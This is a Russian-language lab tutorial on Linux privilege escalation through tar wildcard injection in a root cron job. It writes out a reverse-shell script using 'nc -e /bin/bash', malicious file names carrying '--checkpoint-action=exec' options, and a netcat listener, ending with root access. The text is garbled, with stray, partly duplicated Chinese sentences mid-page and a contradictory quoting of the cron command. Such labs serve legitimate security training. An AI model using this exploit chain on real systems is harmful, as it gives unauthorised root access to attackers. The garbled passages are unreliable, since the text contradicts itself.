Введение
В этом лабораторном занятии мы узнаем о методе инъекции с использованием подстановочных знаков (wildcard injection), который применяется для повышения привилегий на системах Linux. В частности, мы изучим принцип работы инъекции с использованием подстановочных знаков в широко используемой команде tar и выполним практическое упражнение по получению привилегий суперпользователя (root) путем эксплойта этой уязвимости в сочетании с утилитой crontab.
Понимание подстановочных знаков
Сначала разберемся, что такое подстановочные знаки (wildcards) и как они работают в оболочке Linux. Подстановочные знаки - это специальные символы или последовательности символов, которые можно использовать для представления или сопоставления набора имен файлов или путей.
Вот некоторые распространенные подстановочные знаки:
*(звездочка) соответствует любому количеству символов (в том числе и нулю) в имени файла или пути.?(знак вопроса) соответствует любому одиночному символу.[](квадратные скобки) соответствуют любому одиночному символу из заданного набора символов, заключенного в скобки.~(тильда) представляет домашний каталог текущего пользователя или другого пользователя, если за ней следует имя пользователя.
В контексте повышения привилегий часто используются подстановочные знаки * и -. Сначала изучим, как оболочка интерпретирует символ -.
Откройте терминал и перейдите в каталог
/home/labex/project:cd /home/labex/projectВ текущем каталоге есть файл с именем
--help. Попытайтесь подумать и поэкспериментировать, как можно просмотреть содержимое этого файла.Если вы используете команду
cat --help, вы получите сообщение справки для командыcat, а не просмотрите содержимое файла--help.Аналогично, если вы используете
vim --help, вы увидите сообщение справки для командыvim.Это происходит потому, что оболочка Linux интерпретирует
-как аргумент команды.Чтобы просмотреть содержимое файла
--help, вам нужно избежать начала имени файла с-. Вы можете использовать:cat /home/labex/project/--helpТаким образом, оболочка не будет интерпретировать
--helpкак аргумент, и вы сможете просмотреть содержимое файла.Теперь изменим содержимое файла
--helpс помощью любого редактора на ваш выбор. Например, вы можете использоватьnano:nano /home/labex/project/--helpУдалите существующее содержимое и добавьте в файл следующий текст:
I can read the fileСохраните изменения и выйдите из nano.
正是这种 shell 的行为被通配符注入所利用。
通配符注入通常与 cron 作业结合使用,因此让我们探讨一个涉及 tar 命令的实际示例。
这种行为正是通配符注入所利用的。
通配符注入常常与 cron 作业结合使用,那么让我们来探讨一个涉及 tar 命令的实际例子。
Внедрение подстановочных знаков в crontab с использованием tar
Для понимания того, как инъекция подстановочных знаков может привести к повышению привилегий, мы выполним практическое упражнение, связанное с командой tar и утилитой crontab.
Сначала инициализируем лабораторную среду, выполнив следующую команду:
Перейдите в каталог
/home/labex/project:cd /home/labex/projectЗапустите скрипт настройки для инициализации лабораторной среды:
./env_setup.shПосле инициализации вы перейдете к пользователю
user001(это имитация атакующего, который получил первоначальный доступ к оболочке).Затем проверим crontab на наличие запланированных задач:
cat /etc/crontabОжидаемый вывод:
* * * * * root cd /var/www/html/ && tar -zcf /var/backups/html.tgz *Вы должны увидеть задачу, запланированную на выполнение каждую минуту, которая архивирует содержимое каталога
/var/www/html/в сжатый файл/var/backups/html.tgz.Далее посмотрим на файлы внутри каталога
/var/www/html:ls /var/www/htmlЧтобы эксплоитнуть уязвимость инъекции подстановочных знаков, нам нужно создать следующие три файла в каталоге
/var/www/html/.Сначала перейдите в каталог
/var/www/html:cd /var/www/html/shell.shс содержимым для выполнения обратной оболочки (reverse shell):echo 'nc.traditional 127.0.0.1 4444 -e /bin/bash' > shell.shФайл с именем
--checkpoint-action=exec=sh shell.sh(обратите внимание на пробелы в имени файла):echo "" > "--checkpoint-action=exec=sh shell.sh"Файл с именем
--checkpoint=1:echo "" > --checkpoint=1
После создания этих файлов каталог
/var/www/html/должен выглядеть так:'--checkpoint-action=exec=sh shell.sh' '--checkpoint=1' index.html index.nginx-debian.html shell.shКогда cron- задача выполнит следующую команду:
tar -zcf /var/backups/html.tgz /var/www/html/*Она будет интерпретирована как:
tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.htmlВот что означают эти параметры:
--checkpointи--checkpoint-actionобычно используются вместе. Первый устанавливает контрольную точку, а второй определяет действие, которое должно быть выполнено при достижении контрольной точки.--checkpoint-action=exec=sh shell.shозначает, что при достижении контрольной точки будет выполнен скриптshell.sh.
Таким образом, каждый раз, когда cron- задача запускается, будет выполнен скрипт
shell.sh, который откроет обратную оболочку/bin/bashна локальном порту 4444.Теперь настроим прослушивание на локальном порту 4444 в текущей оболочке:
nc -lnvp 4444После небольшого ожидания, когда cron- задача будет выполнена, мы должны получить обратную оболочку с привилегиями суперпользователя (root):
Ожидаемый вывод:
Listening on 0.0.0.0 4444 Connection received on 127.0.0.1 56226Попробуйте создать файл
success.txtв каталоге/root, чтобы убедиться, что у вас есть привилегии суперпользователя:touch /root/success.txtЕсли вы можете создать файл без ошибок доступа, вы успешно повысили свои привилегии с помощью инъекции подстановочных знаков.
Есть два важных ограничения для этого метода повышения привилегий с использованием tar и crontab:
Каталог
htmlдолжен иметь права записи (w) для "других" пользователей, чтобы мы могли создать файлыshell.shи другие в этом каталоге.Команда
tarв crontab не должна содержать абсолютный путь. Например, если запись в crontab выглядит так:* * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*Инъекция подстановочных знаков не сработает, потому что оболочка интерпретирует команду как:
tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.htmlВ этом случае
/var/www/html/--checkpoint=1и/var/www/html/--checkpoint-action=exec=sh shell.shне будут интерпретированы как аргументы командыtar, и инъекция не сработает.
Резюме
В этом лабораторном занятии мы познакомились с методом инъекции подстановочных знаков (wildcard injection), который применяется для повышения привилегий на системах Linux. Мы изучили принцип работы инъекции подстановочных знаков в широко используемой команде tar и выполнили практическое упражнение по получению привилегий суперпользователя (root) путем эксплойта этой уязвимости в сочетании с утилитой crontab. В результате этого занятия мы приобрели практический опыт в понимании и эксплойте реальной уязвимости, позволяющей повысить привилегии, что является важным навыком для любого профессионала в области безопасности или системного администратора.